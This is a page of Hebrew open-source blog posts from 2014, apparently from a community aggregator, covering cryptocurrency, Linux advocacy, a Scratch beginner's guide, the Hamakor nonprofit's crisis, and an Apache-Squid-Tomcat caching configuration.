לסיכום – אם יש לכם הרבה אומץ ואמונה בצמיחת השוק הזה ואבטחתו, וקצת הבנה באבטחה בסיסית של סביבת העבודה שלכם, התפרעו לכם בשמחה. אם אתם מפחדים מוירוסים, לא מסתובבים עם סמארטפון או לא סומכים על עצמכם עם אבטחה וטכנולוגיה צעירה וקופצנית שכזו, אולי שווה עוד לחכות טיפה. בכל מקרה כרגע היא זמינה ונוחה רק למי שמרופד טכנולוגית ומקוון תמיד, זה לא פתרון לעולם השלישי או לאמא שלי או לרוב האנשים שאני מכיר סביבי. אני מאמין שהבארטרים האלקטרוניים האלו ישארו באיזור אבל לא יחליפו בקרוב את הכסף המסורתי. אל תעבירו לשם את הפנסיה.

תוצרים מעניינים

גם אם זה לא מחליף כסף פיאט, יש לזה שימושים מעניינים. ראשית הקונספט של הבלוקצ'יין שהולך ומתנפח לו במקביל במאות אלפי שרתים ומחשבים ורואה את ההיסטוריה בצורה אמינה ובדיוק בל ימחק, זה לא יעזוב במהירה. אנשים כבר משתמשים בטכנולוגיה כדי לחתום שם קריפטוגראפית על מידע שחשוב בו מימד ההוכחה לבעלות ובזמן, אפשר עם זה לקבוע חזקה על נכסים אינטלקטואליים (למשל קופירייט על יצירה או בעלות על נכס אלקטרוני), ליישם חלפנות מבוזרת בלי צורך באתרי "בורסה", להעביר מסרים ולאור כל אלו, מפתחים גם מטבעות יותר מתוחכמים מעל בלוקצ'יינים, מערכות "טאבו דיגיטלי", שרות שמות (DNS) מבוזר ואפילו טוויטר מבוזר. הרשימה עוד ארוכה.

תגים: , , , , , , , , , , , , , , , , , ,

28 August, 2014 07:36 AM

24 August, 2014

Doron Rainer

סדרת מדריכים: לינוקס זה לא מפחיד

שלום לכולם,

חשבתי רבות על פרוייקט נחמד שאפשר לעשות, והגעתי למסקנה שפרוייקט כמו סדרת מדריכים ללינוקס למתחילים יהיה הפרוייקט שאני הולך להשקיע בו הכי הרבה.

החלטתי שאת המדריכים שאני אכתוב בפרוייקט הזה נעשה בצורה שלא תפחיד אף אחד משימוש בלינוקס.

המדריכים הינם בעברית ולכן אני חושב שזה יקל על המשתמש המתחיל בלינוקס.


כמו כן, אפשרתי אפשרות להשאיר תגובות בדפי המדריכים השונים על מנת שאני אוכל לקבל ביקורת ולשפר ולתקן,
אשמח אם תשתפו איתי פעולה.
גם התגובות זה מקום שניתן לשאול שאלות.

אגב, שימו לב שיש כפתור בצד ימין למעלה שרשום: "לינוקס זה לא מפחיד" משמם ניתן להכנס למדריכים.

בגלל שאת הפרוייקט התחלתי לא ממזמן, לא כל הפרקים עוד קיימים, ברגע שאגיע לפרק האחרון אני אכתוב עליו. כמובן שכל פרק חדש שאני אעלה אני אכתוב פוסט על זה כאן.

כרגע ישנם 2 פרקים.

אשמח לתגובות :)

24 August, 2014 06:08 AM

23 August, 2014

Doron Rainer

אז למה אני משתמש בלינוקס ולא בווינדוס?

אחד מהשאלות הרבות שאנשים שואלים משתמשי לינוקס: למה אתם משתמשים בלינוקס? מה רע לכם בווינדוס?

הרבה אפילו נוטים להראות לך כל מיני פיצ'רים שיש בווינדוס "ואין בלינוקס". ואז אתה תופס אותם בשאלה "אתה צריך את הפיצ'ר הזה, אתה משתמש בו באמת?" ואז מגיע הגמגום.

אפילו המתחכמים, האלה שהעבודה שלהם כל הזמן במיילים והם משתמשים בOutlook: "למה אתה לא משתמש בזה? היא מנהלת לך כמו שצריך את המיילים, הכל פה מסודר, אתה רואה את כל החשבונות במקום אחד מבלי לעבור בין אתרים.", ואז פה גם אני תופס אותם בתשובות ובשאלות.
"קודם כל אין לי כל כך הרבה חשבונות מייל, יש לי חשבון אחד שאני עובד איתו, ואם יהיה לי עוד חשבון אני אישית אדאג לעשות הפרדה בין חיי האישיים לבין עבודה"
"ואני לא מבין מה צריך לשלם בשביל אופיס כשיש לך תחלופות שנותנות אותו הדבר אבל בחינם"

אז עכשיו אני אגיד את זה: לינוקס בשבילי זה נוח! אני אוהב את הצורה שהמערכת בנויה, אני אוהב שיש לי שליטה מוחלטת על כל דבר. אני אוהב שיש לי תוכנה שאני מקבל עדכונים בחינם, וכל גרסא חדשה אני לא צריך לקנות דיסק בכמעט 1000 שקל ולהתקין על המחשב.
אני לא צריך לקנות מחשב חדש כל פעם שיוצא ווינדוס חדש.

אני אוהב להסתכל על הקוד של התוכנות שאני משתמש בהם. אם אני רוצה אני אפילו תורם קוד בשביל לפתור באגים, או אפילו יש לי אפשרות לדווח כמו שצריך על באגים ואיך אני נתקל בבאג, מאשר ללחוץ על כפתור "דווח שגיאות" ולך תדע לאן זה שולח ומה זה שלח.

אני חושב שכל סביבת עבודה (גנום, KDE, E, XFCE) יותר נוחה מהווינדוס.
ממשקים מלוטשים, נקיים נוחים, והכי חשוב, לא צריך להיות גיק מחשבים בשביל להבין איפה כל דבר נמצא.

אני משתמש בגנום, הראתי לחבר שהוא לא מבין גדול במחשבים, הוא תוך 2 דקות יתמצא בכל הסביבה. (וככה צריך!)
כשמדברים על מחשבים לצורך עבודה, הבנאדם לא צריך לבזבז הרבה זמן בלהתקין דברים ולסדר את המערכת לפי איך שנוח לו. פשוט צריך להתקין מערכת עם ממשק נוח שקל להתמצא בו ולעבוד.

ולמה שיש עדכונים בוונידוס ההתקנה שלהם לא מיידית? וצריך לבצע ריסטארט למחשב על מנת שהעדכונים יותקנו?

למה כל הסיבוך הזה עם הממשק? למה הם גורמים להרגיש מפגר שיש לך כפתור גדול ולידו כפתור קטן? ולמה בתוכנות המיקום של הכפתורי שליטה (סגירה, הגדלה, מיזעור) נמצעים בכל מיני מקומות שונים ולא במקום אחיד לכולם?

למה יש את מטרו למחשבים שהן לא בעלי מסך מגע??? זה מאד לא הגיוני מה שעשו למה משתמש במחשב רגיל צריך לסבול את הGESTURES בעזרת העכבר? מה רע בממשק הרגיל שכולם מכירים, עם תפריט START כמו שצריך ובלי כל הבלאגן של המטרו.

למה תפריטים חבויים? למה לא פשוט להציג כפתור לכל התפריטים האלה?

למה הכל מסובך בווינדוס? למה? ולמה כל גרסא חדשה של הווינדוס משנים באופן משמעותי הממשק, מה כל פעם המשתמש צריך ללמוד איך לעבוד עם הוונידוס? למה זה לא יכול להשמר שנים ממשק מסויים?

נראה לי קצת חוצפה שמייקרוסופט עושים מה שבא להם ולא חושבים בכלל על המשתמש הפשוט, הזה שנכנס לאתרי חדשות, למיילים, וכותב מסמכים. מה כבר רציתי? להכנס לאנטרנט, למה זה מסובך?

23 August, 2014 05:19 PM

21 August, 2014

Hetz Ben Hemo

טאבלטים עם אנדרואיד – על יצרנים שלא שמים עליך

אנדרואיד, בכל הקשור לטאבלטים, אם להאמין למספרים שמספרים חברות כמו גארטנר, IDC ואחרות, הצליח להימכר לא רע. אני כותב "הצליח" כי כרגע השוק מוצף. בבריטניה לדוגמא, סמסונג תקועה עם מלאי רציני של טאבלטים חדשים והיא מנסה להיפטר ממנו ע"י מבצעי … להמשיך לקרוא

הטקסט המלא

21 August, 2014 10:22 PM

16 August, 2014

Yehuda Bar-Nir

מדריך למתחילים בסקראץ׳

[פוסט זה הוא תרגום של מדריך המשתמש הרשמי של Scratch. תוכלו להוריד את המדריך באנגלית מדף העזרה באתר. הזכויות למקור שמורות ל Lifelong Kindergarten Group, MIT Media Lab. מופץ ברשיון CC-BY-SA 2.0]

Scartch Cat

סקראץ׳ (Scratch) היא שפת תיכנות שמאפשרת ליצור סיפורים אינטראקטיביים, אנימציות, משחקים, מוזיקה ואומנות.

מסך לדוגמה מסקראץ׳

המדריך הזה יאפשר לכם ליצור פרויקט בסקראץ׳.

ליצירת פרויקט חדש, גשו לאתר: http://scratch.mit.edu. אם האתר נפתח באנגלית, ניתן לשנות את שפת הממשק מהתפריט בתחתית הדף. לאחר מכן, לחצו על הכפתור צור.
צור

אם יש לכם כבר חשבון בסקראץ׳, הכנסו למערכת כדי שהפריוקט שלכם ישמר.
כניסה

1 – התחילו לזוז

לבנת זוז

גררו לבנת זוז לאזור התסריטים.

לחצו על הלבנה

לחצו על הלבנה כדי לגרום לחתול לזוז.

2 – הוסיפו צלילים

לבנת נגן בתוף

גררו לבנת נגן בתוף וחברו אותה ללבנת הזוז.

לחצו והקשיבו

לחצו והקשיבו.
אם לא הצלחתם לשמוע, בדקו שהרמקול במחשב שלכם מופעל.

החלפת צלילים

תוכלו לבחור סוג אחר של תופים מהתפריט.

3 – התחילו ריקוד

הוספת לבנת זוז חדשה

הוסיפו לבנת זוז חדשה. לחצו בתוך הלבנה והוסיפו סימן מינוס.

לחצו להפעלה

לחצו על כל אחת מהלבנים כדי להריץ את כל הערמה.

לבנת נגן בתוף נוספת

הוסיפו לבנת נגן בתוף חדשה, והחליפו את סוג התוף מהתפריט. לחצו להרצה.

4 – שוב ושוב

לבנת חזור

גררו לבנת חזור והצמידו אותה לראש הערמה. הפה של לבנת החזור צריך לעטוף את שאר הלבנים.

כדי לגרור את הערמה, יש לתפוס אותה מהלבנה העליונה.

שינוי מספר החזרות

תוכלו לשנות את מספר החזרות שיבוצעו.

לחצו כדי להריץ.
אפשר ללחוץ על כל אחת מהלבנים להרצת הערמה כולה.

5 – אמרו משהו

לבנת אמור

לחצו על קטגוריית המראה וגגרו החוצה לבנת אמור.

שינוי טקסט

לחצו בתוך לבנת האמור והקלידו כדי לשנות את המילים. לחצו כדי לנסות.

חברו לראש הערמה

אחר-כך, חברו את לבנת האמור להתחלה.

6 – דגל ירוק

כאשר לוחצים על הדגל הירוק

גררו לבנת כאשר לוחצים על הדגל הירוק וחברו אותה להתחלה.

הפעלת הדגל הירוק

בכל פעם שלוחצים על הדגל הירוק, התסריט מתחיל לפעול.
להפסקה, לחצו על כפתור העצור.

7 – שנו צבע

עכשיו, נסו משהו שונה…

לבנת שנה אפקט

גררו לבנת שנה אפקט.

לחצו על לבנת שנה אפקט
לחצו כדי לראות מה קורה.

8 – לחיצה על מקשים

לבנת כאשר נלחץ מקש

חברו לבנת כאשר נלחץ מקש

עכשיו, לחצו על מקש הרווח במקלדת שלכם.

בחירת מקש

תוכלו לבחור מקש שונה מהתפריט

9 – הוסיפו רקע

תוכלו להוסיף רקע לבמה.

בחירת רקע

לחצו כפתור רקע כדי לבחור רקע חדש.

בחרו רקע מהספריה (למשל "spotlight-stage").

ספרית הרקעים

לחצו אישור.

הרקע החדש מופיע כעת על הבמה.

הרקע החדש

10 – הוסיפו דמות

כל אוביקט (משתתף) בסקראץ׳ נקרא דמות.
להוספת דמות חדשה, לחצו על אחד הכפתורים האלה:

כפתורי הוספת דמות

כפתורי הוספת דמות:

דמות מהספריה בחרו דמות מהספריה

צייר דמות ציירו דמות משלכם

דמות מקובץ העלו דמות/תמונה מקובץ

דמות ממצלמת רשת צלמו תמונה (ממצלמת רשת)

כדי להוסיף את הדמות הזאת:
קייסי רוקדת
לחצו על דמות מהספריה ואז לחצו על קטגורית אנשים ובחרו את הדמות "cassy dance" (קייסי רוקדת).

תוכלו לגרור את הדמויות ולמקם אותן על הבמה.
גררו את הדמות

11 – חקרו!

עכשיו תוכלו להגיד לדמות מה לעשות. נסו את האפשרויות הבאות או חקרו בעצמכם.

הוסיפו צליל:
צלילים

לחצו על לשונית הצלילים. תוכלו לבחור צליל בחר צליל, להקליט צליל משלכם הקלטה, או ליבא מקובץ צליל מקובץ. (בפורמט AIF, MP3 או WAV)

הוספת צליל לתסריט
עכשיו לחצו על לשונית התסריטים וגררו לבנת נגן צליל לתסריט. בחרו את הצליל מהתפריט.

שנו תלבושות:
תלבושות

לכל דמות יכולות להיות מספר תלבושות.
לשינוי התלבושת הנוכחית, לחצו על לשונית התלבושת.
אחר-כך לחצו על תלבושת שונה לדמות.

צרו אנימציה:
אנימציה

תוכלו ליצור אנימציה ע"י החלפת תלבושות.
לחצו על לשונית התסריטים.
צרו תסריט שמחליף בין התלבושות.

12 – טיפים!

שם לפרויקט
תנו שם לפרויקט שלכם.

לרעיונות נוספים, לחצו על טיפים:
טיפים

חלון טיפים

חלון הטיפים מראה דוגמאות תסריטים שבהם תוכלו להשתמש בפרויקט.

הוא גם מסביר מה כל אחת מהלבנים של סקראץ׳ עושה.

שמור ושתף

כדי לשמור את הפרויקט ברשת, הקפידו להתחבר לאתר. התחבר

(אם תרצו לשמור את הפרויקט במחשב שלכם, לחצו על תפריט קובץ ובחרו באפשרות: ״הורד למחשב שלך״.)

כאשר אתם מוכנים, לחצו על ראה דף פרויקט

דף פרויקט
דף פרויקט

לחצו מסך מלא לקבלת מסך מלא.

לחצו שיתוף כדי שאחרים יוכלו לצפות ולשחק בפרויקט שלכם. כאשר אתם משתפים, אחרים יכולים לבקר ולשחק בפרויקט שלכם.

הוסיפו הערות לפרויקט.

מה עכשיו? תוכלו לצור פרויקט חדש או לחקור לקבלת רעיונות.

כדי ללמוד עוד, לחצו עזרה או גלשו אל http://scratch.mit.edu/help (אנגלית).

למי שרוצה להעמיק עוד יותר, מומלץ לקרוא את הספר בעברית: עקרונות ומושגים במדעי המחשב דרך Scratch, מאת מיכל ארמוני ומוטי בן-ארי. ניתן להוריד את הספר בחינם. שימו לב: הספר נכתב לגרסה 1.4 של סקראץ׳. ניתן להוריד מאותו קישור דף הסבר על השינויים בגרסה 2.

16 August, 2014 03:02 PM

10 August, 2014

Hetz Ben Hemo

הנח"ש – על מה אני משלם בעצם?

למי שלא מכיר אותי – בחיים הפרטיים שלי אני אדם שאוהב להשקיע בשביל לקבל מוצר ושרותים טובים מאחרים, גם כאשר מדובר במחירים גבוהים יותר מהצעות מתחרות. כל עוד יש הצדקה – אני אשמח להוציא את הארנק ולשלם. כמעט בכל התחלת … להמשיך לקרוא

הטקסט המלא

10 August, 2014 06:36 AM

27 July, 2014

Amir Aharoni

ארכיון

אני יכול לקרוא באתר הבנק מכתבים שלפני עידן האינטרנט הבנק היה שולח לי בדואר. זה טוב, כי רובם לא חשובים מספיק בשביל לשלוח בדואר.
אבל מדי פעם מגיע משהו חשוב שאני רוצה לשמור במחשב. ניסיתי לשמור עכשיו מכתב אחד באמצעות כפתור השמירה. ואז הדפדפן שואל אותי אם אני רוצה לשמור קובץ בשם archive.exe.

קראתם נכון, exe.

בנק לאומי, אנחנו ב־2014. יש היום יותר אנשים שמשתמשים במערכות הפעלה שלא יכולות לפתוח קובצי exe מאנשים שמתקשים לפתוח קובצי zip. מהירות הרשת כבר מזמן ביטלה כל צורך להשתמש בכיווץ קבצים, בוודאי כשמדובר בקובץ בודד.

אנא אפשרו לי להוריד את המכתב הזה בתור קובץ טקסט, PDF, ליברה אופיס או לפחות וורד.


נ״ב: בשדות שם המשתמש והססמה אתם עדיין מגדירים dir="rtl", למרות שהם תמיד כתובים משמאל לימין. זה אמור להיות תיקון של שורה אחת. יהיה נחמד אם תתקנו את זה.


27 July, 2014 08:49 AM

16 May, 2014

Tomer Cohen

עמותת המקור במשבר — עזרתכם נדרשת!

ביום חמישי האחרון התקיימה האספה השנתית של עמותת המקור, במטרה לסכם את הפעילות בשנה האחרונה ולבחור את נציגיה בוועד הנהלת העמותה ובוועדת הביקורת כפי שמחייב החוק.

האספה נקבעה להתכנס בשעה 18:00, ונראה שלמרבית המשתתפים הזמן היה רק המלצה. מודה, אני איחרתי במספר דקות והתנצלתי על כך מול הנוכחים מיד כשנכנסתי, אבל עבור אחרים שהגיעו לאחר 19:00 זה לא נראה חריג להגיע באיחור. ובכן, אם היה קיים קושי כלשהו להגיע בזמן וזה היה ידוע לכם מראש למה לא ביקשתם להתחיל את המפגש בשעה מאוחרת יותר? למה לגרום לאחרים להזדרז להגיע בזמן ולהתייבש בהמתנה שתגיעו אם לכם יש תכניות אחרות?

האספה התחילה בשעה 19:00 עם חבר ועד העמותה, אדיר אברהם שנשא דברים על פעילויות העמותה בשנה האחרונה.אני מציג פה את הפעילויות כפי שאני זוכר אותן כעת כי לא טרחתי לסכם אותן בזמן אמת, ואני מצטער אם אני משמיט פרטים חשובים.

לאחר הצגת הפעילויות השונות וגם חזרה עליה לטובת המאחרים המשיך אדיר והציג בפנינו קצת מהווי הפעילות בוועד העמותה. לטענתו, שזכתה גם לגיבוי מצד חבר וועדת הביקורת, הוא ביצע כ־95% מכלל הפעילות בעמותה כאשר שני חברי הוועד האחרים מופיעים ונעלמים לסירוגין, ומטלות שמועברות אליהן עלולות להתפספס והזמינות שלהם באמצעי הקשר הקיימים שואפת לאפס בתקופות מסוימות. כתוצאה מכך משימות שלמות חומקות מבין אצבעותינו או תקועות עד שמישהו לוקח יוזמה ומטפל בנושא בעצמו (למשל משימת איסוף הקלטות הווידאו והעלאתן לאתר העמותה שהייתה תקועה במשך זמן רב בטיפולו של אחד מחברי הוועד והושלמה רק לאחר שחברת עמותה יקרה נקטה יוזמה ולקחה על עצמה את האחריות על משימה זו).

כתוצאה מבעייתיות פעילות חברי הוועד הגיעה העמותה למבוי סתום. חסרים מסמכים הדרושים לצורך קיום האספה לפי התכנית שנקבעה מראש ולפי דרישות רשם העמותות, ולמעשה, אין כרגע בידינו אפילו רישום מסודר ומעודכן של חברי העמותה מה שבאופן פרקטי מונע את ביצוע ההצבעה על בחירת חברי הוועד הנכנס.

כתוצאה מכשלים אלו, בצער רב הובאה בפנינו ההחלטה על קיומה של אסיפה נוספת בעוד חודש מהיום עם ההצעה לפרק את העמותה שעולה על הפרק. כדי למנוע את ההחלטה הזו צריכים עד אז להמציא רוב של חברים שיחליטו למנוע צעד זה ויציעו את עצמם לכהן בוועד הנכנס. עבור הוועד הנכנס כנראה תהיה עבודה רבה וממושכת לשמר את קיום העמותה במתכונתה הנוכחית, אבל אם טובת הקהילה חשובה לנו עלינו להשקיע לטובת שימור העמותה.

 

עמותת המקור קיימת קצת יותר מעשור, ומטרותיה המוצהרות הן קידום של קוד פתוח ותוכנה חופשית בארץ. בימיה הראשונים של העמותה מונחי חופש תוכנה, וקוד פתוח לא היו שגורים בפיהם של אנשי טכנולוגיה והציבור הכללי, ובשנים האחרונות נראית גדילה משמעותית בשימוש במושגים אלו ובכוח שלנו לדרוש תאימות לתוכנות קוד פתוח ואף לקדם מיזמים ציבוריים שמטרתם לשפר את נגישות הציבור למידע.

במהלך השנים עמותת המקור פעלה רבות לטובת שיפור ההיכרות של הקהל הרחב עם מושגים מעולם התוכנה החופשית והקוד הפתוח. פעילים בעמותה השתתפו בישיבות בוועדות ממשלתיות ועוזרים לנו לשנות את החוקים הקיימים במדינה כך שיכירו בקיומן של תוכנות חלופיות למערכות הפעלה ותוכנות שנמצאות בשליטתם של תאגיד בודד. קיומם של כנסים דוגמת הכנס לקוד פתוח במגזר הביטחוני מאפשרים לראשונה שיתוף פעולה בין זרועות ביטחוניות שונות ומוציאים בכל שנה עשרות צעירים למגזר הפרטי שמגיעים אליו עם היכרות רבה עם תפישה זו ועוזרים לנו לקדם את הרעיון הלאה. קיום כנס אוגוסט פינגווין מאפשר לנו להיפגש כקהילה במפגש פנים מול פנים ולהחליף דעות ורעיונות. המשאבים שהעמותה מעמידה בדמות שרתים ומערכות מאפשר לנו כפעילי תוכנה חופשית בארץ להמשיך לפעול עם הגב הקיים של עמותה המחברת בין הפעילים השונים.

כפי שכתבתי קודם, לדעתי זה לא הזמן לחסל את העמותה. רעיונותיה חשובים לנו ואנחנו עדיין מאמינים בהם. מחסור במתנדבים זו בעיה לא חדשה בעמותה ולדעתי נובעת בעיקר מחוסר הרצון של הפעילים השונים להכניס יד בריאה למיטה חולה. כדי שהעמותה תתנהל כמו שצריך אנחנו צריכים בראש ובראשונה אנשים רציניים שיכהנו בתפקידים הקיימים וכמה שיותר פעילים שונים שיפעלו בעמותה במסגרות השונות. אף־אחד מעולם לא קבע שהעמותה צריכה להיות מופעלת עם כמות של שישה פעילים בלבד שמקיימים בניהם רוטציה בתפקידים השונים, ואם אנחנו כקהילה פעילה של כמה עשרות או מאות פעילים עדיין רואים את עצמנו כחלק מהעמותה, עלינו להתחיל לחשוב איך אנחנו רוצים שתיראה העמותה בעתיד.

הטקסט המלא

16 May, 2014 10:34 AM

14 May, 2014

Amit Tal

התקנת סביבת פיתוח לאינטרנט עם אובונטו 14.04

למדריך התקנת פיתוח לאינטרנט עם אובונטו 14.04 לחצו כאן

ועכשיו ההסבר:
הקישור מוביל לאתר חדש שאני עובד עליו. האתר פונה למפתחי אינטרנט ומעצבי אינטראקטיב ויעסוק בנושאים הקשורים לעיצוב אינטראקטיבי, פיתוח פרונט-אנד וכדו'.
האתר נמצא כרגע בפיתוח אבל אני כבר מתחיל לפרסם בו פוסטים אז אתם מוזמנים לעקוב ויותר מכך, להעיר.
אם מצאתם אי דיוקים או שמשהו בעיצוב מפריע לכם אני אשמח לשמוע ולתקן. קליק >

הטקסט המלא

14 May, 2014 01:34 PM

12 May, 2014

Yoav Farhi

אוטומטיק מגייסת

החברה שאני עובד בה הודיעה בשבוע שעבר על גיוס של 160 מיליון דולר, לפי שווי של למעלה ממיליארד דולר. בהתחשב במסורת הקוד הפתוח שלנו ובמבנה החברה המיוחד, זהו הישג עצום: המשקיעים מביעים אמון מלא בחברה מבוזרת שמעסיקה 250 עובדים ב-30 מדינות בעולם ומשחררת חלק גדול מהדברים שהיא עושה בקוד פתוח.

באפריל השנה חגגתי חמש שנים באוטומטיק – וכן, זו עדיין העבודה הטובה ביותר בארץ. בישראל אנחנו שלושה (ברוך הבא, בוריס!) ובאופן אישי אני אשמח לראות את המספר הזה גדל.

אנחנו מגייסים עובדים להמון תפקידים שונים: אנשי תמיכה ושירות לקוחות, מפתחים (כללי, סיסטמס, מובייל, פרונט אנד, VIP), מעצבי UI, אנשי דאטה, שיווק, וסיסטמס.

אם זה נשמע לכם רלוונטי, באתר שלנו יש את כל הפרטים. בנוסף, אני ממליץ לקרוא איך אנחנו מגייסים בעיקר על סמך התנסות, ולא רק על פי קורות חיים וראיונות.

אשמח לענות על שאלות בנושא במייל או בתגובות כאן.


12 May, 2014 07:55 AM

27 April, 2014

Dan Fruehauf

Apache, Squid, Tomcat

This is going to be a quick “grocery list” to get a configuration of Apache -> Squid -> Tomcat going, allowing for a cache of multiple webapps at the same time.

The Common Case – Apache & Tomcat

Commonly people would have a configuration of Apache -> Tomcat serving web applications. However sometimes you would like to add that extra bit of simple caching for that webapp. Sometime it can really speed up things!!

Assuming you have Tomcat all configured and serving a webapp on http://localhost:8080/webapp and a vhost in apache which would look like:

<VirtualHost *:80>
  ServerName www.webapp.com

  LogLevel info
  ErrorLog /var/log/apache2/www.webapp.com-error.log
  CustomLog /var/log/apache2/www.webapp.com-access.log combined

  ProxyPreserveHost On

  ProxyPass           /webapp http://localhost:8080/webapp
  ProxyPassReverse    /webapp http://localhost:8080/webapp

  RewriteEngine On
  RewriteOptions inherit
  RewriteLog /var/log/apache2/www.webapp.com-rewrite.log
  RewriteLogLevel 0

</VirtualHost>

Simple! Just forward all /webapp requests to http://localhost:8080/webapp

Squid In The Middle

A simple squid configuration for us would look like:

# some boilerplate configuration for squid
acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32
acl localnet src 10.0.0.0/8
acl localnet src 172.16.0.0/12
acl localnet src 192.168.0.0/16
acl Safe_ports port 80
acl Safe_ports port 443	
acl Safe_ports port 8080-8100 # webapps
acl purge method PURGE
acl CONNECT method CONNECT

http_access allow manager localhost
http_access deny manager
http_access allow purge localhost
http_access deny purge
http_access deny !Safe_ports
http_access allow localhost
http_access allow localnet
http_access deny all

icp_access allow localnet
icp_access deny all
http_port 3128

hierarchy_stoplist cgi-bin ?
access_log /var/log/squid/access.log squid
hosts_file /etc/hosts
coredump_dir /var/spool/squid3

# adjust your cache size!
cache_dir ufs /var/cache/squid 20480 16 256
cache_mem 5120 MB

#################################
# interesting part start here!! #
#################################
# adjust this to your liking
maximum_object_size 200 KB

# required to handle same URL with different parameters differently
# so for instance these two following URLs are treated as distict URLs, hance they will
# be cached separately
# http://localhost:8080/webapp/a?param=1
# http://localhost:8080/webapp/a?param=2
strip_query_terms off

# just for some better logging
logformat combined %>a %ui %un [%tl] "%rm %ru HTTP/%rv" %>Hs %<st "%{Referer}>h" "%{User-Agent}>h" %Ss:%Sh

# refresh_pattern is subject to change, but if you decide to cache a webapp, you must make sure it actually gets cached!
# many webapps do not like to get cached, so you can play with all sorts of parameters such as override-expire, ignore-reload
# and ignore-no-cache. the following directive will SURELY cache any page on the following webapp for 1 hours (60 minutes)
# adjust the regexp(s) below to suit your own needs!!
refresh_pattern http://localhost:8080/webapp/.* 60 100% 60 override-expire ignore-reload ignore-no-cache

Now, we need to plug apache to use the above squid configuration. Luckily it’s pretty simple, the only line you need is:

# basically every request going to http://localhost:8080/webapp, pass via squid
ProxyRemote http://localhost:8080/webapp http://localhost:3128

And the whole vhost again:

<VirtualHost *:80>
  ServerName www.webapp.com

  LogLevel info
  ErrorLog /var/log/apache2/www.webapp.com-error.log
  CustomLog /var/log/apache2/www.webapp.com-access.log combined

  ProxyPreserveHost On
  ProxyRemote http://localhost:8080/webapp http://localhost:3128

  ProxyPass           /webapp http://localhost:8080/webapp
  ProxyPassReverse    /webapp http://localhost:8080/webapp

  RewriteEngine On
  RewriteOptions inherit
  RewriteLog /var/log/apache2/www.webapp.com-rewrite.log
  RewriteLogLevel 0

</VirtualHost>

That’s it, now look at /var/log/squid/access.log and look for TCP_MEM_HIT and TCP_HIT. If you’re still getting TCP_MISS and the like, you’ll have to adjust your refresh_pattern in the squid configuration.

Multiple Webapps?

Not a problem if you have multiple webapps, if you want them to be cached, just add the magic line passing them through squid and the relevant squid refresh_pattern.

Don’t want a webapp to be cached? Just bypass the squid!


27 April, 2014 03:41 AM

22 April, 2014

Tomer Cohen

המראה החדש של פיירפוקס

בעוד מספר ימים יצא עדכון לגרסה חדשה של פיירפוקס. עדכון זה יכלול שינוי משמעותי במראה הדפדפן שמוזילה עמלים עליו מזה זמן רב ויצא לי לעקוב אחריו מקרוב בחודשים האחרונים. ברשומה זו אסקןר את השינויים הבולטים.

ברצוני להקדים ולהגיב לחששות של אלו שמתלוננים כי פיירפוקס הולך והופך לאחיו התאום של דפדפן גוגל כרום. זה לא המצב, ומהר מאד נעלם הדמיון העיצובי בין שני הדפדפנים. למעשה, ניתן לטעון באותה מידה שגוגל כרום ופיירפוקס דומים בעיצוב שלהם לאופרה וספארי, שכוללים עיצוב דומה מאד לזה של אינטרנט אקספלורר, ושכולם בעצם דומים לדפדפנים שנעלמו זה מכבר מהעולם דוגמת מוזיאק.

דפדפן האינטרנט הראשון הראשון נקרא WorldWideWeb והוא פותח למעשה יחד עם פרוטוקול HTTP ושפת העיצוב HTML. ככזה, הוא היה הדפדפן שנתן את הטון וכל הדפדפנים שבאו אחריו היו חייבים לחקות את אופן עבודתו. בשנים שלאחר מכן הופיעו דפדפנים נוספים שכל אחד מהם אימץ את התכונות והמראה של קודמיו ובמקביל השמיט דברים שנראו למפתחיו מיותרים. מספר שנים לאחר מכן שוק הדפדפנים די התייצב עם דפדפנים כגון "נטסקייפ", "אינטרנט אקספלורר" ונוספים, שגרמו להכחדתם של הדפדפנים החלוציים ולמעשה יצרו מעין מראה אחיד בין הדפדפנים השונים במראה ובתפקודם. באותה תקופה כבר הופיעו כפתורי ניווט קדימה ואחורה בהיסטוריה, המושג "דף בית" שמוביל לדף שנבחר על־ידי המשתמש כנקודת מוצא לגלישה ברשת, סימניות/מועדפים וכדומה.

שנים לאחר מכן, עם צמיחתה של רשת האינטרנט והשיפורים הרבים בכוח המחשוב השתנתה גם התנהגותם של משתמשי הרשת, ובמקום לגשת לדף בודד הם התחילו לפתוח מספר דפים במקביל, והשלב האבולוציוני הבא היה התווספותן של הלשוניות (או כרטיסיות, או טאבים, כפי שבוודאי הבנתם אין הסכמה ברורה על המושגים והמונחים). הלשוניות הופיעו בהתחלה בדפדפני נישה דוגמת נטקפטור, ובהמשך הגיעו לדפדפנים נפוצים יותר דוגמת אופרה ומוזילה. דפדפן אינטרנט אקספלורר באותה תקופה היה הנפוץ ביותר עם גרסאות 5.5 ו־6, והיה נראה שמפתחיו מסרבים להאמין שהאופנה החדשה תתפוס, עד שלבסוף הופיעו גם בו לשוניות, בהתחלה כסרגל כלים נלווה ולראשונה כחלק מהדפדפן כשיצא אינטרנט אקספלורר 7, אם כי עברו עוד מספר שנים עד שאפשר היה להשוות את היכולות של תכונה זו לדפדפנים אחרים שהקדימו לאמץ את ממשקי הלשוניות.

כשגוגל כרום הגיח לאוויר העולם כבר כל הדפדפנים כללו תמיכה בלשוניות, מראה סרגל הניווט בניהם היה די אחיד, ולגוגל, כחדשים בשוק הדפדפנים הייתה אפשרות יקרה מפז לנסות לחדש בתחום מבלי שמשתמשים ותיקים יתלוננו שהם מנסים לשנות להם הרגלים קודמים. כשגוגל עבדו על פיתוח הדפדפן שלהם לא זאת בלבד שהייתה להם האפשרות לשכור אנשים שעבדו בעברם על פיתוחים של דפדפנים אחרים, והאפשרות לעקוב מקרוב (וגם מבפנים, כאשר מדובר בדפדפנים שמפותחים בשקיפות מלאה לציבור, כמו במקרה של פיירפוקס), אלא גם האפשרות לממש שינויים שאצל האחרים היו קיימים ברמת אב טיפוס בלבד וטרם שולבו במוצרים עצמם.

